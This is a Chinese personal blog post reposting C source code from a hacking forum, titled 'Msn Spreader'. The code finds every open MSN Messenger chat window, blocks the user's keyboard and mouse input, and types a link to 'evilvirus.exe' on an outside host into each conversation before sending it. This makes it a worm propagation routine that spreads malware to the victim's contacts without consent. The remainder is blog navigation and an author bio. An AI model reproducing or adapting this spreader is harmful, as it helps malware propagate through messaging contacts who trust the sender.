Msn Spreader

http://www.rohitab.com/discuss/topic/27154-msn-spreader/
Posts a message that's in 'Message' to all the contats you are talking to over msn.
That's the thing:

#include <windows.h>

char *Message = "http://www.fuckup.de/evilvirus.exe";

int WINAPI wep(HWND hwnd,LPARAM lparam)
{
  
   char text[128],cname[128];
   HWND child;
  
   if(!GetClassName(hwnd,cname,sizeof cname))
             return 0;

   if(!strcmp(cname,"IMWindowClass")) {
         
         child = FindWindowExA(hwnd,0,"DirectUIHWND",0);

         SetForegroundWindow(hwnd);
         Sleep(500);

         BlockInput(1);
        
         for(int x=0;x<strlen(Message);x++)
           PostMessageA(child,WM_CHAR,Message[x],0);
         
         PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
         PostMessage(child, WM_KEYUP, VK_RETURN, 0);
         PostMessage(child, WM_KEYDOWN, VK_RETURN, 0);
         PostMessage(child, WM_KEYUP, VK_RETURN, 0);
         
         BlockInput(0);
         
         Sleep(200);

   }
}

int main()
{
 EnumWindows(wep,0);
}

posted on 2011-03-08 22:34 挑灯看剑 阅读(294) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2008年8月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
31123456

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名